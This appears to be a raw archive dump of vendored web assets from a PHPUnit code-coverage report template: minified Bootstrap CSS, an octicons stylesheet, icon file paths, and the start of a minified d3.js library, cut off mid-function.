(min-width:768px){.m-md-0{margin:0!important}.mt-md-0,.my-md-0{margin-top:0!important}.mr-md-0,.mx-md-0{margin-right:0!important}.mb-md-0,.my-md-0{margin-bottom:0!important}.ml-md-0,.mx-md-0{margin-left:0!important}.m-md-1{margin:.25rem!important}.mt-md-1,.my-md-1{margin-top:.25rem!important}.mr-md-1,.mx-md-1{margin-right:.25rem!important}.mb-md-1,.my-md-1{margin-bottom:.25rem!important}.ml-md-1,.mx-md-1{margin-left:.25rem!important}.m-md-2{margin:.5rem!important}.mt-md-2,.my-md-2{margin-top:.5rem!important}.mr-md-2,.mx-md-2{margin-right:.5rem!important}.mb-md-2,.my-md-2{margin-bottom:.5rem!important}.ml-md-2,.mx-md-2{margin-left:.5rem!important}.m-md-3{margin:1rem!important}.mt-md-3,.my-md-3{margin-top:1rem!important}.mr-md-3,.mx-md-3{margin-right:1rem!important}.mb-md-3,.my-md-3{margin-bottom:1rem!important}.ml-md-3,.mx-md-3{margin-left:1rem!important}.m-md-4{margin:1.5rem!important}.mt-md-4,.my-md-4{margin-top:1.5rem!important}.mr-md-4,.mx-md-4{margin-right:1.5rem!important}.mb-md-4,.my-md-4{margin-bottom:1.5rem!important}.ml-md-4,.mx-md-4{margin-left:1.5rem!important}.m-md-5{margin:3rem!important}.mt-md-5,.my-md-5{margin-top:3rem!important}.mr-md-5,.mx-md-5{margin-right:3rem!important}.mb-md-5,.my-md-5{margin-bottom:3rem!important}.ml-md-5,.mx-md-5{margin-left:3rem!important}.p-md-0{padding:0!important}.pt-md-0,.py-md-0{padding-top:0!important}.pr-md-0,.px-md-0{padding-right:0!important}.pb-md-0,.py-md-0{padding-bottom:0!important}.pl-md-0,.px-md-0{padding-left:0!important}.p-md-1{padding:.25rem!important}.pt-md-1,.py-md-1{padding-top:.25rem!important}.pr-md-1,.px-md-1{padding-right:.25rem!important}.pb-md-1,.py-md-1{padding-bottom:.25rem!important}.pl-md-1,.px-md-1{padding-left:.25rem!important}.p-md-2{padding:.5rem!important}.pt-md-2,.py-md-2{padding-top:.5rem!important}.pr-md-2,.px-md-2{padding-right:.5rem!important}.pb-md-2,.py-md-2{padding-bottom:.5rem!important}.pl-md-2,.px-md-2{padding-left:.5rem!important}.p-md-3{padding:1rem!important}.pt-md-3,.py-md-3{padding-top:1rem!important}.pr-md-3,.px-md-3{padding-right:1rem!important}.pb-md-3,.py-md-3{padding-bottom:1rem!important}.pl-md-3,.px-md-3{padding-left:1rem!important}.p-md-4{padding:1.5rem!important}.pt-md-4,.py-md-4{padding-top:1.5rem!important}.pr-md-4,.px-md-4{padding-right:1.5rem!important}.pb-md-4,.py-md-4{padding-bottom:1.5rem!important}.pl-md-4,.px-md-4{padding-left:1.5rem!important}.p-md-5{padding:3rem!important}.pt-md-5,.py-md-5{padding-top:3rem!important}.pr-md-5,.px-md-5{padding-right:3rem!important}.pb-md-5,.py-md-5{padding-bottom:3rem!important}.pl-md-5,.px-md-5{padding-left:3rem!important}.m-md-n1{margin:-.25rem!important}.mt-md-n1,.my-md-n1{margin-top:-.25rem!important}.mr-md-n1,.mx-md-n1{margin-right:-.25rem!important}.mb-md-n1,.my-md-n1{margin-bottom:-.25rem!important}.ml-md-n1,.mx-md-n1{margin-left:-.25rem!important}.m-md-n2{margin:-.5rem!important}.mt-md-n2,.my-md-n2{margin-top:-.5rem!important}.mr-md-n2,.mx-md-n2{margin-right:-.5rem!important}.mb-md-n2,.my-md-n2{margin-bottom:-.5rem!important}.ml-md-n2,.mx-md-n2{margin-left:-.5rem!important}.m-md-n3{margin:-1rem!important}.mt-md-n3,.my-md-n3{margin-top:-1rem!important}.mr-md-n3,.mx-md-n3{margin-right:-1rem!important}.mb-md-n3,.my-md-n3{margin-bottom:-1rem!important}.ml-md-n3,.mx-md-n3{margin-left:-1rem!important}.m-md-n4{margin:-1.5rem!important}.mt-md-n4,.my-md-n4{margin-top:-1.5rem!important}.mr-md-n4,.mx-md-n4{margin-right:-1.5rem!important}.mb-md-n4,.my-md-n4{margin-bottom:-1.5rem!important}.ml-md-n4,.mx-md-n4{margin-left:-1.5rem!important}.m-md-n5{margin:-3rem!important}.mt-md-n5,.my-md-n5{margin-top:-3rem!important}.mr-md-n5,.mx-md-n5{margin-right:-3rem!important}.mb-md-n5,.my-md-n5{margin-bottom:-3rem!important}.ml-md-n5,.mx-md-n5{margin-left:-3rem!important}.m-md-auto{margin:auto!important}.mt-md-auto,.my-md-auto{margin-top:auto!important}.mr-md-auto,.mx-md-auto{margin-right:auto!important}.mb-md-auto,.my-md-auto{margin-bottom:auto!important}.ml-md-auto,.mx-md-auto{margin-left:auto!important}}@media (min-width:992px){.m-lg-0{margin:0!important}.mt-lg-0,.my-lg-0{margin-top:0!important}.mr-lg-0,.mx-lg-0{margin-right:0!important}.mb-lg-0,.my-lg-0{margin-bottom:0!important}.ml-lg-0,.mx-lg-0{margin-left:0!important}.m-lg-1{margin:.25rem!important}.mt-lg-1,.my-lg-1{margin-top:.25rem!important}.mr-lg-1,.mx-lg-1{margin-right:.25rem!important}.mb-lg-1,.my-lg-1{margin-bottom:.25rem!important}.ml-lg-1,.mx-lg-1{margin-left:.25rem!important}.m-lg-2{margin:.5rem!important}.mt-lg-2,.my-lg-2{margin-top:.5rem!important}.mr-lg-2,.mx-lg-2{margin-right:.5rem!important}.mb-lg-2,.my-lg-2{margin-bottom:.5rem!important}.ml-lg-2,.mx-lg-2{margin-left:.5rem!important}.m-lg-3{margin:1rem!important}.mt-lg-3,.my-lg-3{margin-top:1rem!important}.mr-lg-3,.mx-lg-3{margin-right:1rem!important}.mb-lg-3,.my-lg-3{margin-bottom:1rem!important}.ml-lg-3,.mx-lg-3{margin-left:1rem!important}.m-lg-4{margin:1.5rem!important}.mt-lg-4,.my-lg-4{margin-top:1.5rem!important}.mr-lg-4,.mx-lg-4{margin-right:1.5rem!important}.mb-lg-4,.my-lg-4{margin-bottom:1.5rem!important}.ml-lg-4,.mx-lg-4{margin-left:1.5rem!important}.m-lg-5{margin:3rem!important}.mt-lg-5,.my-lg-5{margin-top:3rem!important}.mr-lg-5,.mx-lg-5{margin-right:3rem!important}.mb-lg-5,.my-lg-5{margin-bottom:3rem!important}.ml-lg-5,.mx-lg-5{margin-left:3rem!important}.p-lg-0{padding:0!important}.pt-lg-0,.py-lg-0{padding-top:0!important}.pr-lg-0,.px-lg-0{padding-right:0!important}.pb-lg-0,.py-lg-0{padding-bottom:0!important}.pl-lg-0,.px-lg-0{padding-left:0!important}.p-lg-1{padding:.25rem!important}.pt-lg-1,.py-lg-1{padding-top:.25rem!important}.pr-lg-1,.px-lg-1{padding-right:.25rem!important}.pb-lg-1,.py-lg-1{padding-bottom:.25rem!important}.pl-lg-1,.px-lg-1{padding-left:.25rem!important}.p-lg-2{padding:.5rem!important}.pt-lg-2,.py-lg-2{padding-top:.5rem!important}.pr-lg-2,.px-lg-2{padding-right:.5rem!important}.pb-lg-2,.py-lg-2{padding-bottom:.5rem!important}.pl-lg-2,.px-lg-2{padding-left:.5rem!important}.p-lg-3{padding:1rem!important}.pt-lg-3,.py-lg-3{padding-top:1rem!important}.pr-lg-3,.px-lg-3{padding-right:1rem!important}.pb-lg-3,.py-lg-3{padding-bottom:1rem!important}.pl-lg-3,.px-lg-3{padding-left:1rem!important}.p-lg-4{padding:1.5rem!important}.pt-lg-4,.py-lg-4{padding-top:1.5rem!important}.pr-lg-4,.px-lg-4{padding-right:1.5rem!important}.pb-lg-4,.py-lg-4{padding-bottom:1.5rem!important}.pl-lg-4,.px-lg-4{padding-left:1.5rem!important}.p-lg-5{padding:3rem!important}.pt-lg-5,.py-lg-5{padding-top:3rem!important}.pr-lg-5,.px-lg-5{padding-right:3rem!important}.pb-lg-5,.py-lg-5{padding-bottom:3rem!important}.pl-lg-5,.px-lg-5{padding-left:3rem!important}.m-lg-n1{margin:-.25rem!important}.mt-lg-n1,.my-lg-n1{margin-top:-.25rem!important}.mr-lg-n1,.mx-lg-n1{margin-right:-.25rem!important}.mb-lg-n1,.my-lg-n1{margin-bottom:-.25rem!important}.ml-lg-n1,.mx-lg-n1{margin-left:-.25rem!important}.m-lg-n2{margin:-.5rem!important}.mt-lg-n2,.my-lg-n2{margin-top:-.5rem!important}.mr-lg-n2,.mx-lg-n2{margin-right:-.5rem!important}.mb-lg-n2,.my-lg-n2{margin-bottom:-.5rem!important}.ml-lg-n2,.mx-lg-n2{margin-left:-.5rem!important}.m-lg-n3{margin:-1rem!important}.mt-lg-n3,.my-lg-n3{margin-top:-1rem!important}.mr-lg-n3,.mx-lg-n3{margin-right:-1rem!important}.mb-lg-n3,.my-lg-n3{margin-bottom:-1rem!important}.ml-lg-n3,.mx-lg-n3{margin-left:-1rem!important}.m-lg-n4{margin:-1.5rem!important}.mt-lg-n4,.my-lg-n4{margin-top:-1.5rem!important}.mr-lg-n4,.mx-lg-n4{margin-right:-1.5rem!important}.mb-lg-n4,.my-lg-n4{margin-bottom:-1.5rem!important}.ml-lg-n4,.mx-lg-n4{margin-left:-1.5rem!important}.m-lg-n5{margin:-3rem!important}.mt-lg-n5,.my-lg-n5{margin-top:-3rem!important}.mr-lg-n5,.mx-lg-n5{margin-right:-3rem!important}.mb-lg-n5,.my-lg-n5{margin-bottom:-3rem!important}.ml-lg-n5,.mx-lg-n5{margin-left:-3rem!important}.m-lg-auto{margin:auto!important}.mt-lg-auto,.my-lg-auto{margin-top:auto!important}.mr-lg-auto,.mx-lg-auto{margin-right:auto!important}.mb-lg-auto,.my-lg-auto{margin-bottom:auto!important}.ml-lg-auto,.mx-lg-auto{margin-left:auto!important}}@media (min-width:1200px){.m-xl-0{margin:0!important}.mt-xl-0,.my-xl-0{margin-top:0!important}.mr-xl-0,.mx-xl-0{margin-right:0!important}.mb-xl-0,.my-xl-0{margin-bottom:0!important}.ml-xl-0,.mx-xl-0{margin-left:0!important}.m-xl-1{margin:.25rem!important}.mt-xl-1,.my-xl-1{margin-top:.25rem!important}.mr-xl-1,.mx-xl-1{margin-right:.25rem!important}.mb-xl-1,.my-xl-1{margin-bottom:.25rem!important}.ml-xl-1,.mx-xl-1{margin-left:.25rem!important}.m-xl-2{margin:.5rem!important}.mt-xl-2,.my-xl-2{margin-top:.5rem!important}.mr-xl-2,.mx-xl-2{margin-right:.5rem!important}.mb-xl-2,.my-xl-2{margin-bottom:.5rem!important}.ml-xl-2,.mx-xl-2{margin-left:.5rem!important}.m-xl-3{margin:1rem!important}.mt-xl-3,.my-xl-3{margin-top:1rem!important}.mr-xl-3,.mx-xl-3{margin-right:1rem!important}.mb-xl-3,.my-xl-3{margin-bottom:1rem!important}.ml-xl-3,.mx-xl-3{margin-left:1rem!important}.m-xl-4{margin:1.5rem!important}.mt-xl-4,.my-xl-4{margin-top:1.5rem!important}.mr-xl-4,.mx-xl-4{margin-right:1.5rem!important}.mb-xl-4,.my-xl-4{margin-bottom:1.5rem!important}.ml-xl-4,.mx-xl-4{margin-left:1.5rem!important}.m-xl-5{margin:3rem!important}.mt-xl-5,.my-xl-5{margin-top:3rem!important}.mr-xl-5,.mx-xl-5{margin-right:3rem!important}.mb-xl-5,.my-xl-5{margin-bottom:3rem!important}.ml-xl-5,.mx-xl-5{margin-left:3rem!important}.p-xl-0{padding:0!important}.pt-xl-0,.py-xl-0{padding-top:0!important}.pr-xl-0,.px-xl-0{padding-right:0!important}.pb-xl-0,.py-xl-0{padding-bottom:0!important}.pl-xl-0,.px-xl-0{padding-left:0!important}.p-xl-1{padding:.25rem!important}.pt-xl-1,.py-xl-1{padding-top:.25rem!important}.pr-xl-1,.px-xl-1{padding-right:.25rem!important}.pb-xl-1,.py-xl-1{padding-bottom:.25rem!important}.pl-xl-1,.px-xl-1{padding-left:.25rem!important}.p-xl-2{padding:.5rem!important}.pt-xl-2,.py-xl-2{padding-top:.5rem!important}.pr-xl-2,.px-xl-2{padding-right:.5rem!important}.pb-xl-2,.py-xl-2{padding-bottom:.5rem!important}.pl-xl-2,.px-xl-2{padding-left:.5rem!important}.p-xl-3{padding:1rem!important}.pt-xl-3,.py-xl-3{padding-top:1rem!important}.pr-xl-3,.px-xl-3{padding-right:1rem!important}.pb-xl-3,.py-xl-3{padding-bottom:1rem!important}.pl-xl-3,.px-xl-3{padding-left:1rem!important}.p-xl-4{padding:1.5rem!important}.pt-xl-4,.py-xl-4{padding-top:1.5rem!important}.pr-xl-4,.px-xl-4{padding-right:1.5rem!important}.pb-xl-4,.py-xl-4{padding-bottom:1.5rem!important}.pl-xl-4,.px-xl-4{padding-left:1.5rem!important}.p-xl-5{padding:3rem!important}.pt-xl-5,.py-xl-5{padding-top:3rem!important}.pr-xl-5,.px-xl-5{padding-right:3rem!important}.pb-xl-5,.py-xl-5{padding-bottom:3rem!important}.pl-xl-5,.px-xl-5{padding-left:3rem!important}.m-xl-n1{margin:-.25rem!important}.mt-xl-n1,.my-xl-n1{margin-top:-.25rem!important}.mr-xl-n1,.mx-xl-n1{margin-right:-.25rem!important}.mb-xl-n1,.my-xl-n1{margin-bottom:-.25rem!important}.ml-xl-n1,.mx-xl-n1{margin-left:-.25rem!important}.m-xl-n2{margin:-.5rem!important}.mt-xl-n2,.my-xl-n2{margin-top:-.5rem!important}.mr-xl-n2,.mx-xl-n2{margin-right:-.5rem!important}.mb-xl-n2,.my-xl-n2{margin-bottom:-.5rem!important}.ml-xl-n2,.mx-xl-n2{margin-left:-.5rem!important}.m-xl-n3{margin:-1rem!important}.mt-xl-n3,.my-xl-n3{margin-top:-1rem!important}.mr-xl-n3,.mx-xl-n3{margin-right:-1rem!important}.mb-xl-n3,.my-xl-n3{margin-bottom:-1rem!important}.ml-xl-n3,.mx-xl-n3{margin-left:-1rem!important}.m-xl-n4{margin:-1.5rem!important}.mt-xl-n4,.my-xl-n4{margin-top:-1.5rem!important}.mr-xl-n4,.mx-xl-n4{margin-right:-1.5rem!important}.mb-xl-n4,.my-xl-n4{margin-bottom:-1.5rem!important}.ml-xl-n4,.mx-xl-n4{margin-left:-1.5rem!important}.m-xl-n5{margin:-3rem!important}.mt-xl-n5,.my-xl-n5{margin-top:-3rem!important}.mr-xl-n5,.mx-xl-n5{margin-right:-3rem!important}.mb-xl-n5,.my-xl-n5{margin-bottom:-3rem!important}.ml-xl-n5,.mx-xl-n5{margin-left:-3rem!important}.m-xl-auto{margin:auto!important}.mt-xl-auto,.my-xl-auto{margin-top:auto!important}.mr-xl-auto,.mx-xl-auto{margin-right:auto!important}.mb-xl-auto,.my-xl-auto{margin-bottom:auto!important}.ml-xl-auto,.mx-xl-auto{margin-left:auto!important}}.stretched-link::after{position:absolute;top:0;right:0;bottom:0;left:0;z-index:1;pointer-events:auto;content:"";background-color:rgba(0,0,0,0)}.text-monospace{font-family:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace!important}.text-justify{text-align:justify!important}.text-wrap{white-space:normal!important}.text-nowrap{white-space:nowrap!important}.text-truncate{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.text-left{text-align:left!important}.text-right{text-align:right!important}.text-center{text-align:center!important}@media (min-width:576px){.text-sm-left{text-align:left!important}.text-sm-right{text-align:right!important}.text-sm-center{text-align:center!important}}@media (min-width:768px){.text-md-left{text-align:left!important}.text-md-right{text-align:right!important}.text-md-center{text-align:center!important}}@media (min-width:992px){.text-lg-left{text-align:left!important}.text-lg-right{text-align:right!important}.text-lg-center{text-align:center!important}}@media (min-width:1200px){.text-xl-left{text-align:left!important}.text-xl-right{text-align:right!important}.text-xl-center{text-align:center!important}}.text-lowercase{text-transform:lowercase!important}.text-uppercase{text-transform:uppercase!important}.text-capitalize{text-transform:capitalize!important}.font-weight-light{font-weight:300!important}.font-weight-lighter{font-weight:lighter!important}.font-weight-normal{font-weight:400!important}.font-weight-bold{font-weight:700!important}.font-weight-bolder{font-weight:bolder!important}.font-italic{font-style:italic!important}.text-white{color:#fff!important}.text-primary{color:#007bff!important}a.text-primary:focus,a.text-primary:hover{color:#0056b3!important}.text-secondary{color:#6c757d!important}a.text-secondary:focus,a.text-secondary:hover{color:#494f54!important}.text-success{color:#28a745!important}a.text-success:focus,a.text-success:hover{color:#19692c!important}.text-info{color:#17a2b8!important}a.text-info:focus,a.text-info:hover{color:#0f6674!important}.text-warning{color:#ffc107!important}a.text-warning:focus,a.text-warning:hover{color:#ba8b00!important}.text-danger{color:#dc3545!important}a.text-danger:focus,a.text-danger:hover{color:#a71d2a!important}.text-light{color:#f8f9fa!important}a.text-light:focus,a.text-light:hover{color:#cbd3da!important}.text-dark{color:#343a40!important}a.text-dark:focus,a.text-dark:hover{color:#121416!important}.text-body{color:#212529!important}.text-muted{color:#6c757d!important}.text-black-50{color:rgba(0,0,0,.5)!important}.text-white-50{color:rgba(255,255,255,.5)!important}.text-hide{font:0/0 a;color:transparent;text-shadow:none;background-color:transparent;border:0}.text-decoration-none{text-decoration:none!important}.text-break{word-break:break-word!important;word-wrap:break-word!important}.text-reset{color:inherit!important}.visible{visibility:visible!important}.invisible{visibility:hidden!important}@media print{*,::after,::before{text-shadow:none!important;box-shadow:none!important}a:not(.btn){text-decoration:underline}abbr[title]::after{content:" (" attr(title) ")"}pre{white-space:pre-wrap!important}blockquote,pre{border:1px solid #adb5bd;page-break-inside:avoid}img,tr{page-break-inside:avoid}h2,h3,p{orphans:3;widows:3}h2,h3{page-break-after:avoid}@page{size:a3}body{min-width:992px!important}.container{min-width:992px!important}.navbar{display:none}.badge{border:1px solid #000}.table{border-collapse:collapse!important}.table td,.table th{background-color:#fff!important}.table-bordered td,.table-bordered th{border:1px solid #dee2e6!important}.table-dark{color:inherit}.table-dark tbody+tbody,.table-dark td,.table-dark th,.table-dark thead th{border-color:#dee2e6}.table .thead-dark th{color:inherit;border-color:#dee2e6}} /*# sourceMappingURL=bootstrap.min.css.map */res/readability/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/css/octicons.css000064400000000130147577714370027534 0ustar00.octicon { display: inline-block; vertical-align: text-top; fill: currentColor; } readability/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/icons/file-code.svg000064400000000460147577714370030023 0ustar00resvendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/icons/file-directory.svg000064400000000352147577714370031115 0ustar00res/readabilityres/readability/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/js/d3.min.js000064400000450255147577714370026474 0ustar00!function(){function n(n){return n&&(n.ownerDocument||n.document||n).documentElement}function t(n){return n&&(n.ownerDocument&&n.ownerDocument.defaultView||n.document&&n||n.defaultView)}function e(n,t){return t>n?-1:n>t?1:n>=t?0:NaN}function r(n){return null===n?NaN:+n}function i(n){return!isNaN(n)}function u(n){return{left:function(t,e,r,i){for(arguments.length<3&&(r=0),arguments.length<4&&(i=t.length);i>r;){var u=r+i>>>1;n(t[u],e)<0?r=u+1:i=u}return r},right:function(t,e,r,i){for(arguments.length<3&&(r=0),arguments.length<4&&(i=t.length);i>r;){var u=r+i>>>1;n(t[u],e)>0?i=u:r=u+1}return r}}}function o(n){return n.length}function a(n){for(var t=1;n*t%1;)t*=10;return t}function l(n,t){for(var e in t)Object.defineProperty(n.prototype,e,{value:t[e],enumerable:!1})}function c(){this._=Object.create(null)}function f(n){return(n+="")===bo||n[0]===_o?_o+n:n}function s(n){return(n+="")[0]===_o?n.slice(1):n}function h(n){return f(n)in this._}function p(n){return(n=f(n))in this._&&delete this._[n]}function g(){var n=[];for(var t in this._)n.push(s(t));return n}function v(){var n=0;for(var t in this._)++n;return n}function d(){for(var n in this._)return!1;return!0}function y(){this._=Object.create(null)}function m(n){return n}function M(n,t,e){return function(){var r=e.apply(t,arguments);return r===t?n:r}}function x(n,t){if(t in n)return t;t=t.charAt(0).toUpperCase()+t.slice(1);for(var e=0,r=wo.length;r>e;++e){var i=wo[e]+t;if(i in n)return i}}function b(){}function _(){}function w(n){function t(){for(var t,r=e,i=-1,u=r.length;++ie;e++)for(var i,u=n[e],o=0,a=u.length;a>o;o++)(i=u[o])&&t(i,o,e);return n}function Z(n){return ko(n,qo),n}function V(n){var t,e;return function(r,i,u){var o,a=n[u].update,l=a.length;for(u!=e&&(e=u,t=0),i>=t&&(t=i+1);!(o=a[t])&&++t0&&(n=n.slice(0,a));var c=To.get(n);return c&&(n=c,l=B),a?t?i:r:t?b:u}function $(n,t){return function(e){var r=ao.event;ao.event=e,t[0]=this.__data__;try{n.apply(this,t)}finally{ao.event=r}}}function B(n,t){var e=$(n,t);return function(n){var t=this,r=n.relatedTarget;r&&(r===t||8&r.compareDocumentPosition(t))||e.call(t,n)}}function W(e){var r=".dragsuppress-"+ ++Do,i="click"+r,u=ao.select(t(e)).on("touchmove"+r,S).on("dragstart"+r,S).on("selectstart"+r,S);if(null==Ro&&(Ro="onselectstart"in e?!1:x(e.style,"userSelect")),Ro){var o=n(e).style,a=o[Ro];o[Ro]="none"}return function(n){if(u.on(r,null),Ro&&(o[Ro]=a),n){var t=function(){u.on(i,null)};u.on(i,function(){S(),t()},!0),setTimeout(t,0)}}}function J(n,e){e.changedTouches&&(e=e.changedTouches[0]);var r=n.ownerSVGElement||n;if(r.createSVGPoint){var i=r.createSVGPoint();if(0>Po){var u=t(n);if(u.scrollX||u.scrollY){r=ao.select("body").append("svg").style({position:"absolute",top:0,left:0,margin:0,padding:0,border:"none"},"important");var o=r[0][0].getScreenCTM();Po=!(o.f||o.e),r.remove()}}return Po?(i.x=e.pageX,i.y=e.pageY):(i.x=e.clientX,i.y=e.clientY),i=i.matrixTransform(n.getScreenCTM().inverse()),[i.x,i.y]}var a=n.getBoundingClientRect();return[e.clientX-a.left-n.clientLeft,e.clientY-a.top-n.clientTop]}function G(){return ao.event.changedTouches[0].identifier}function K(n){return n>0?1:0>n?-1:0}function Q(n,t,e){return(t[0]-n[0])*(e[1]-n[1])-(t[1]-n[1])*(e[0]-n[0])}function nn(n){return n>1?0:-1>n?Fo:Math.acos(n)}function tn(n){return n>1?Io:-1>n?-Io:Math.asin(n)}function en(n){return((n=Math.exp(n))-1/n)/2}function rn(n){return((n=Math.exp(n))+1/n)/2}function un(n){return((n=Math.exp(2*n))-1)/(n+1)}function on(n){return(n=Math.sin(n/2))*n}function an(){}function ln(n,t,e){return this instanceof ln?(this.h=+n,this.s=+t,void(this.l=+e)):arguments.length<2?n instanceof ln?new ln(n.h,n.s,n.l):_n(""+n,wn,ln):new ln(n,t,e)}function cn(n,t,e){function r(n){return n>360?n-=360:0>n&&(n+=360),60>n?u+(o-u)*n/60:180>n?o:240>n?u+(o-u)*(240-n)/60:u}function i(n){return Math.round(255*r(n))}var u,o;return n=isNaN(n)?0:(n%=360)<0?n+360:n,t=isNaN(t)?0:0>t?0:t>1?1:t,e=0>e?0:e>1?1:e,o=.5>=e?e*(1+t):e+t-e*t,u=2*e-o,new mn(i(n+120),i(n),i(n-120))}function fn(n,t,e){return this instanceof fn?(this.h=+n,this.c=+t,void(this.l=+e)):arguments.length<2?n instanceof fn?new fn(n.h,n.c,n.l):n instanceof hn?gn(n.l,n.a,n.b):gn((n=Sn((n=ao.rgb(n)).r,n.g,n.b)).l,n.a,n.b):new fn(n,t,e)}function sn(n,t,e){return isNaN(n)&&(n=0),isNaN(t)&&(t=0),new hn(e,Math.cos(n*=Yo)*t,Math.sin(n)*t)}function hn(n,t,e){return this instanceof hn?(this.l=+n,this.a=+t,void(this.b=+e)):arguments.length<2?n instanceof hn?new hn(n.l,n.a,n.b):n instanceof fn?sn(n.h,n.c,n.l):Sn((n=mn(n)).r,n.g,n.b):new hn(n,t,e)}function pn(n,t,e){var r=(n+16)/116,i=r+t/500,u=r-e/200;return i=vn(i)*na,r=vn(r)*ta,u=vn(u)*ea,new mn(yn(3.2404542*i-1.5371385*r-.4985314*u),yn(-.969266*i+1.8760108*r+.041556*u),yn(.0556434*i-.2040259*r+1.0572252*u))}function gn(n,t,e){return n>0?new fn(Math.atan2(e,t)*Zo,Math.sqrt(t*t+e*e),n):new fn(NaN,NaN,n)}function vn(n){return n>.206893034?n*n*n:(n-4/29)/7.787037}function dn(n){return n>.008856?Math.pow(n,1/3):7.787037*n+4/29}function yn(n){return Math.round(255*(.00304>=n?12.92*n:1.055*Math.pow(n,1/2.4)-.055))}function mn(n,t,e){return this instanceof mn?(this.r=~~n,this.g=~~t,void(this.b=~~e)):arguments.length<2?n instanceof mn?new mn(n.r,n.g,n.b):_n(""+n,mn,cn):new mn(n,t,e)}function Mn(n){return new mn(n>>16,n>>8&255,255&n)}function xn(n){return Mn(n)+""}function bn(n){return 16>n?"0"+Math.max(0,n).toString(16):Math.min(255,n).toString(16)}function _n(n,t,e){var r,i,u,o=0,a=0,l=0;if(r=/([a-z]+)\((.*)\)/.exec(n=n.toLowerCase()))switch(i=r[2].split(","),r[1]){case"hsl":return e(parseFloat(i[0]),parseFloat(i[1])/100,parseFloat(i[2])/100);case"rgb":return t(Nn(i[0]),Nn(i[1]),Nn(i[2]))}return(u=ua.get(n))?t(u.r,u.g,u.b):(null==n||"#"!==n.charAt(0)||isNaN(u=parseInt(n.slice(1),16))||(4===n.length?(o=(3840&u)>>4,o=o>>4|o,a=240&u,a=a>>4|a,l=15&u,l=l<<4|l):7===n.length&&(o=(16711680&u)>>16,a=(65280&u)>>8,l=255&u)),t(o,a,l))}function wn(n,t,e){var r,i,u=Math.min(n/=255,t/=255,e/=255),o=Math.max(n,t,e),a=o-u,l=(o+u)/2;return a?(i=.5>l?a/(o+u):a/(2-o-u),r=n==o?(t-e)/a+(e>t?6:0):t==o?(e-n)/a+2:(n-t)/a+4,r*=60):(r=NaN,i=l>0&&1>l?0:r),new ln(r,i,l)}function Sn(n,t,e){n=kn(n),t=kn(t),e=kn(e);var r=dn((.4124564*n+.3575761*t+.1804375*e)/na),i=dn((.2126729*n+.7151522*t+.072175*e)/ta),u=dn((.0193339*n+.119192*t+.9503041*e)/ea);return hn(116*i-16,500*(r-i),200*(i-u))}function kn(n){return(n/=255)<=.04045?n/12.92:Math.pow((n+.055)/1.055,2.4)}function Nn(n){var t=parseFloat(n);return"%"===n.charAt(n.length-1)?Math.round(2.55*t):t}function En(n){return"function"==typeof n?n:function(){return n}}function An(n){return function(t,e,r){return 2===arguments.length&&"function"==typeof e&&(r=e,e=null),Cn(t,e,n,r)}}function Cn(n,t,e,r){function i(){var n,t=l.status;if(!t&&Ln(l)||t>=200&&300>t||304===t){try{n=e.call(u,l)}catch(r){return void o.error.call(u,r)}o.load.call(u,n)}else o.error.call(u,l)}var u={},o=ao.dispatch("beforesend","progress","load","error"),a={},l=new XMLHttpRequest,c=null;return!this.XDomainRequest||"withCredentials"in l||!/^(http(s)?:)?\/\//.test(n)||(l=new XDomainRequest),"onload"in l?l.onload=l.onerror=i:l.onreadystatechange=function(){l.readyState>3&&i()},l.onprogress=function(n){var t=ao.event;ao.event=n;try{o.progress.call(u,l)}finally{ao.event=t}},u.header=function(n,t){return n=(n+"").toLowerCase(),arguments.length<2?a[n]:(null==t?delete a[n]:a[n]=t+"",u)},u.mimeType=function(n){return arguments.length?(t=null==n?null:n+"",u):t},u.responseType=function(n){return arguments.length?(c=n,u):c},u.response=function(n){return e=n,u},["get","post"].forEach(function(n){u[n]=function(){return u.send.apply(u,[n].concat(co(arguments)))}}),u.send=function(e,r,i){if(2===arguments.length&&"function"==typeof r&&(i=r,r=null),l.open(e,n,!0),null==t||"accept"in a||(a.accept=t+",*/*"),l.setRequestHeader)for(var f in a)l.setRequestHeader(f,a[f]);return null!=t&&l.overrideMimeType&&l.overrideMimeType(t),null!=c&&(l.responseType=c),null!=i&&u.on("error",i).on("load",function(n){i(null,n)}),o.beforesend.call(u,l),l.send(null==r?null:r),u},u.abort=function(){return l.abort(),u},ao.rebind(u,o,"on"),null==r?u:u.get(zn(r))}function zn(n){return 1===n.length?function(t,e){n(null==t?e:null)}:n}function Ln(n){var t=n.responseType;return t&&"text"!==t?n.response:n.responseText}function qn(n,t,e){var r=arguments.length;2>r&&(t=0),3>r&&(e=Date.now());var i=e+t,u={c:n,t:i,n:null};return aa?aa.n=u:oa=u,aa=u,la||(ca=clearTimeout(ca),la=1,fa(Tn)),u}function Tn(){var n=Rn(),t=Dn()-n;t>24?(isFinite(t)&&(clearTimeout(ca),ca=setTimeout(Tn,t)),la=0):(la=1,fa(Tn))}function Rn(){for(var n=Date.now(),t=oa;t;)n>=t.t&&t.c(n-t.t)&&(t.c=null),t=t.n;return n}function Dn(){for(var n,t=oa,e=1/0;t;)t.c?(t.t8?function(n){return n/e}:function(n){return n*e},symbol:n}}function jn(n){var t=n.decimal,e=n.thousands,r=n.grouping,i=n.currency,u=r&&e?function(n,t){for(var i=n.length,u=[],o=0,a=r[0],l=0;i>0&&a>0&&(l+a+1>t&&(a=Math.max(1,t-l)),u.push(n.substring(i-=a,i+a)),!((l+=a+1)>t));)a=r[o=(o+1)%r.length];return u.reverse().join(e)}:m;return function(n){var e=ha.exec(n),r=e[1]||" ",o=e[2]||">",a=e[3]||"-",l=e[4]||"",c=e[5],f=+e[6],s=e[7],h=e[8],p=e[9],g=1,v="",d="",y=!1,m=!0;switch(h&&(h=+h.substring(1)),(c||"0"===r&&"="===o)&&(c=r="0",o="="),p){case"n":s=!0,p="g";break;case"%":g=100,d="%",p="f";break;case"p":g=100,d="%",p="r";break;case"b":case"o":case"x":case"X":"#"===l&&(v="0"+p.toLowerCase());case"c":m=!1;case"d":y=!0,h=0;break;case"s":g=-1,p="r"}"$"===l&&(v=i[0],d=i[1]),"r"!=p||h||(p="g"),null!=h&&("g"==p?h=Math.max(1,Math.min(21,h)):"e"!=p&&"f"!=p||(h=Math.max(0,Math.min(20,h)))),p=pa.get(p)||Fn;var M=c&&s;return function(n){var 